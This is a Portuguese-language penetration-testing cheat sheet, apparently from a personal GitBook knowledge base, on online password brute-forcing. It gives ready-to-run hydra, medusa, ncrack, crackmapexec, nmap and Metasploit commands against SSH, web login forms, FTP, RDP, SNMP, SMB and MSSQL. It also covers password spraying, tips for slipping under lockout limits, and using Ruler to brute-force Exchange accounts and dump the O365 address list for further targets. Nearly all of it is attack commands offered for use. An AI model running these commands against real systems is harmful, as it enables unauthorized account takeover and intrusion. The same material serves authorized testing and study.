> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/brute-force/online.md).

# Online

### SSH

#### Hydra

Utilize o argumento `-s <port>`, caso o SSH não esteja na porta 22 (default)

```bash
hydra -L <wordlist-user.txt> -P <wordlist-passwords.txt> <ip_alvo> ssh

hydra -l <user> -P <wordlist-passwords.txt> ssh://<ip>:<port> -v
```

Caso saiba o user SSH, pode-se colocar manualmente, alterando `-L` por `-l`, e o mesmo pode ser feito para o passaword, alterando `-P` por `-p`. Exemplo:

```bash
hydra -l root -P <wordlist-passwords.txt> <ip_alvo> ssh
```

O Hydra também consegue trabalhar com uma lista de servidores

```bash
hydra -L <wordlist-user.txt> -P <wordlist-passwords.txt> -M <wordlist-servers.txt> -o <arquivo_de_saida.txt> -f -w 2s ssh
```

> **EXPLICAÇÃO**\
> `-w 2s` = Define que irá realizar uma nova tentativa a cada 2 segundos\
> `-f` = Assim que achar uma conta válida, ignore o resto da wordlist

**OBS.:** Utilizamos aqui como exemplo o SSH, mas o Hydra suporta outros protocolos como FTP, Telnet, etc. Basta alterar o protocolo no final do comando.

#### Medusa

```bash
medusa -h <ip> -n 22 -U <usuario> -P <wordlist.txt> -M ssh
```

###

### HTTP Form

#### Hydra

```bash
hydra -L <wordlist-user.txt> -P <wordlist-passwords.txt> <domain_wihtout_http> -s <port> http-post-form "/login.php:user=^USER^&pass=^PASS^:Mensagem que aparece na falha"
```

**OBS.:** Atente-se aos `:` (dois pontos) nos parâmetros e sempre matenha os parâmetros `^USER^` e `^PASS^` e troque o `login.php` pelo nome do arquivo/página que realiza de fato a autenticação.\
Tudo o que não tiver a frase `Mensagem que aparece na falha`, será considerado como login correto.

{% hint style="info" %}
**DICA:** Caso seja uma página onde só há um input e não dois (como no exemplo acima que usamos user e pass), matenha o `-l admin` (mesmo que não exista) e passe o parâmentro `-P` com a wordlist. Por exemplo:
{% endhint %}

```
hydra -l admin -P <wordlist.txt> <domain_wihtout_http> http-post-form "/index.php:password=^PASS^:<mensagem de erro>"
```

Case use cookie ou algo no cabeçalho, utilize o seguinte padrão:

```bash
hydra -L <wordlist_user.txt> -P <wordlist_pass.txt> <domain_wihtout_http> http-post-form "/index.php:user=^USER^&pass=^PASS^:F=Mensagem que aparece na falha:H=Cookie: PHPSESSID=2hosvf7f7g1ap5g0esc2k8tsqj; path=/"
```

#### Hydra + Proxy

Para interceptar as requisições via Burp Suite, utilize o seguinte comando antes de executar o hydra.

```bash
export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
```

### Basic Authentication

Realize esse tipo de ataque quando aparecer um popup solicitando um usuário e senha assim que acessar a página WEB.

#### Hydra

```bash
hydra -l <user> -P <wordlist.txt> <ip> http-get </subdirectory>
```

Utilize http-head caso o http-get não funcione

```bash
hydra -l <user> -P <wordlist.txt> <ip> http-head </subdirectory>
```

#### Medusa

```bash
medusa -h <ip> -u <user> -P <wordlist.txt> -M http -m DIR:</directory> -T 10
```

###

### FTP

#### Hydra

Realizando Brute Force em diversos servidores

```bash
hydra -L <wordlist_user.txt> -P <wordlist_passwords.txt> -M <wordlist_servers.txt> -o <output_file.txt> -f -w 2s ftp
```

> **EXPLICAÇÃO**\
> `-w 2s` = Define que irá realizar uma nova tentativa a cada 2 segundos\
> `-f` = Assim que achar uma conta válida, ignore o resto da wordlist

#### NCrack

```bash
ncrack -u <user> -P <wordlist.txt> <ip> -p 21
```

Caso queira deixá-lo mais rápido, utilize o argumento `-T 5` ou `-t 5` semelhante ao NMAP. Em casos onde há bloqueio de tentativas simultâneas, diminua o valor para 2 (por exemplo), para bypassar esse bloqueio.

#### nmap

```
map -p21 --script ftp-brute --script-args userdb=</path/users.txt> <ip>
```

###

### RDP (Windows)

#### ncrack

```bash
ncrack -vv --user <user> -P <wordlist.txt> rdp://<ip>
```

#### hydra

```bash
hydra -L <user.txt> -P <pass.txt> -v <ip> rdp
hydra -L <user.txt> -P <pass.txt> rdp://<ip>
hydra -V -f -l <user> -P <pass.txt> rdp://<ip>
```

### SNMP

#### Hydra

```bash
hydra -P <wordlist.txt> -v <ip> snmp
```

#### Metasploit

```
msfconsole
use auxiliary/scanner/snmp/snmp_login
set RHOSTS <ip>
set THREADS 5
exploit
```

###

### SMB

#### crackmapexec

```bash
crackmapexec smb <ip> -u <user.txt> -p <pass.txt>

# Configurando para não parar o teste após encontrar uma conta válida
crackmapexec smb <ip> -u <user.txt> -p <pass.txt> --continue-on-success
```

#### Hydra

```bash
hydra -L <wordlist_user.txt> -P <wordlist_pass.txt> <ip_alvo> smb
```

#### NCrack

```bash
ncrack –U <wordlist_user.txt> -P <wordlist_pass.txt> <ip_alvo> –p 445
```

#### Medusa

```
medusa -h <ip_alvo> -U <wordlist_user.txt> -P <wordlist_pass.txt> -M smbnt
```

### Microsoft SQL Server

#### Metasploit

```bash
msfconsole -q
use auxiliary/scanner/mssql/mssql_login
set rhosts <ip>
set user_file <users.txt>
set pass_file <pass.txt>
exploit
```

#### nmap

```
nmap -p 1433 --script ms-sql-brute --script-args userdb=<wordlist.txt>,passwd=<wordlist> <ip>
```

###

### Spray

Está ferramenta serve para realizar brute force seguindo o `Password Spraying`, que segue uma abordagem um pouco diferente do brute force tradicional, pois essa utiliza uma wordlist específica para o alvo, e também respeita limites de tentativas e tempo de espera, para evitar que a conta seja bloqueada. Este processo pode ser um tanto quanto lento, porém pode trazer bons resultados.

O Spray suporta protocolos como `SMB`, `OVA` e `LYNC` (Microsoft Chat).

```
./spray.sh <protocolo> <ip> <wordlist_user> <wordlist_password> <qtdade_tentativas> <qtdade_tempo_espera> <domain>
```

Caso esteja utilizando um POST, salve a requisição (Burp Suite) em um arquivo de texto e altere o valor do POST para o seguinte formato de exemplo e depois utilize a sintaxe abaixo:\
*username=**sprayuser**@domain.com\&password=**spraypassword***

```
./spray.sh <protocolo> <http://site.com> <wordlist_user> <wordlist_password> <qtdade_tentativas> <qtdade_tempo_espera> <requisicao_burp_suite>
```

### Ruler

Esta é uma ferramenta que permite interagir remotamente com Servidores Exchange, por meio do protocolo `MAPI/HTTP` ou `RPC/HTTP`. O objetivo principal é abusar dos recursos do Outlook do lado do cliente e obter um shell remotamente.

```
go run ruler.go --domain <site.com> brute --users <wordlist_user.txt> --passwords <wordlist_password.txt>
```

Uma vez que conseguimos pegar credenciais válidas, podemos fazer um dump de todos os usuários do `O365 Global Address List (GAL)` e depois fazermos brute force com as novas contas localizadas.

```
go run ruler.go --email <conta@site.com> abk dump --output <file.txt>
```
